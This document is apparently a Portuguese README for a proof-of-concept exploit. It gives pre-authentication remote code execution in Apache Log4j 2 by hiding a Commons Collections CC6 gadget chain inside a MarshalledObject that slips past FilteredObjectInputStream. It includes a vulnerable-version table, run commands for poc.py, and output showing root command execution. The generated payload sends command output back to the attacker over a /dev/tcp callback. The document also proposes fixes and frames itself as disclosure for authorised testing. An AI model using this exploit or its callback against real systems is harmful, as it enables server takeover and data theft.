
Pré-auth RCE via bypass de FilteredObjectInputStream MarshalledObject no Apache Log4j 2
RCE pré-autenticação em qualquer serviço Java que desserializa LogEvent através do FilteredObjectInputStream do Log4j. Nenhuma credencial necessária.
Reportado como GitHub issue #4255 em 24 de agosto de 2026.
O Log4j inclui o FilteredObjectInputStream (FOIS) como um wrapper de desserialização seguro. Ele sobrescreve resolveClass() com uma lista de permissões para que apenas org.apache.logging.log4j.*, java.lang.*, java.util.* e algumas classes explícitas possam passar.
Uma dessas classes explícitas é java.rmi.MarshalledObject:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- o problema
...);
MarshalledObject.get() cria um novo ObjectInputStream simples internamente. Sem filtro. Qualquer coisa encapsulada dentro de um MarshalledObject é desserializada sem restrições, contornando completamente a lista de permissões.
O próprio Log4j faz esse encapsulamento. LogEventProxy (o proxy de serialização para cada LogEvent) armazena a mensagem do evento em um campo MarshalledObject<Message>. Na desserialização, ele chama marshalledMessage.get() para recuperar a mensagem. Essa chamada cria o stream sem filtro. Fim de jogo.
O filtro só vê descritores de classe de nível superior no stream:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
O FOIS verifica LogEventProxy (pacote log4j, permitido), MarshalledObject (na lista de permissões) e byte[] (primitivo). Todos passam. A cadeia de gadgets CC6 está escondida dentro de MarshalledObject.objBytes como bytes brutos. O FOIS nunca a vê.
Quando LogEventProxy.readResolve() é executado:
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // ObjectInputStream sem filtro
} catch (final Exception ex) {
// ignore me
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() cria um ObjectInputStream simples, a cadeia CC6 é acionada e o comando é executado. O bloco catch engole a ClassCastException quando o resultado do gadget não é um Message, então o servidor responde normalmente. Sem erro, sem entrada de log.
Para comparação, ObjectMessage faz isso corretamente:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // cria um stream interno FILTRADO
}
LogEventProxy deveria usar o mesmo padrão, mas não usa.
Atacante Alvo (receptor baseado em FOIS)
| |
| HTTP POST /log |
| Corpo: LogEventProxy serializado |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ pacote log4j
| ├── resolveClass(MarshalledObject) ✓ lista de permissões
| └── resolveClass(byte[]) ✓ primitivo
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) SEM FILTRO
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
O servidor responde 200 e processa o evento como se nada tivesse acontecido.
O truque é colocar a cadeia CC6 dentro de MarshalledObject.objBytes sem que ela seja acionada prematuramente.
GadgetMessage implementa Message e sobrescreve writeReplace() para retornar o gadget CC6:
Log4jLogEvent com GadgetMessage como sua mensagem.LogEventProxy.writeObject() chama marshall(message), que alimenta GadgetMessage no construtor do MarshalledObject.GadgetMessage. writeReplace() é acionado e substitui pelo HashSet CC6.MarshalledObject.objBytes contém a cadeia CC6. GadgetMessage nunca aparece no fio.GadgetMessage existe apenas no lado do atacante. Não precisa estar no classpath do alvo.
| Componente | Vulnerável |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 a 2.24.3 |
log4j-core (campo MarshalledObject do LogEventProxy) | 2.8.0 a 2.24.3 |
O alvo também precisa de uma biblioteca de gadgets no classpath. Este PoC usa Commons Collections 3.2.1 (cadeia CC6).
Requisitos: Java 11+, Maven, Python 3.10+, Docker (apenas para o laboratório da vítima)
Construa e inicie a vítima:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
Construa o exploit (ou deixe o poc.py fazer isso na primeira execução):
cd exploit && mvn package -q -DskipTests && cd ..
Execute:
# --lhost é o seu IP acessível a partir do alvo
# para o laboratório Docker no mesmo host, use o IP da ponte docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
Saída:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload desserializado
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
Porta de callback personalizada:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
mvn package em exploit/ para compilar o PayloadGenerator e baixar as dependências. Ignora nas execuções subsequentes.java -cp exploit/target/... PayloadGenerator <cmd> no host. Gera um LogEvent serializado em base64 com CC6 dentro de um MarshalledObject.--lport (padrão 9999) para receber a saída do comando./log do alvo./dev/tcp.log4j2-rce/
├── README.md
├── poc.py # script de exploit
├── exploit/ # atacante (executa no host)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # Message com writeReplace()
└── lab/ # vítima (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # endpoint HTTP usando FOIS
lab/ é a vítima. HttpLogReceiver é um receptor de log HTTP que usa FilteredObjectInputStream. Configuração padrão, sem flags de depuração, sem fraquezas artificiais. Commons Collections no classpath como uma dependência transitiva realista.
exploit/ é a ferramenta do atacante. PayloadGenerator constrói o payload serializado no host. Nunca toca no contêiner da vítima.
java.rmi.MarshalledObject de REQUIRED_JAVA_CLASSES.MarshalledObject<Message> em LogEventProxy por um byte[] serializado via SerializationUtil.writeWrappedObject() / readWrappedObject(). Esse é o mesmo padrão que ObjectMessage já usa corretamente.CC 3.2.1 e anteriores: InvokerTransformer serializa livremente. CC6 funciona como está.
CC 3.2.2 (novembro de 2015): Adicionou uma proteção de serialização em InvokerTransformer que bloqueia a cadeia a menos que org.apache.commons.collections.enableUnsafeSerialization seja true.
O bypass do filtro existe independentemente da versão do CC. A proteção do CC é defesa em profundidade na camada de gadgets, não uma correção para o filtro quebrado. Qualquer outra biblioteca de gadgets sem proteção (Groovy, BeanShell, Spring Beans, etc.) permite o mesmo ataque.
docker rm -f fois-lab
docker rmi fois-bypass-lab
Apenas para testes autorizados. Obtenha permissão por escrito antes de executar isso contra qualquer coisa que você não possua.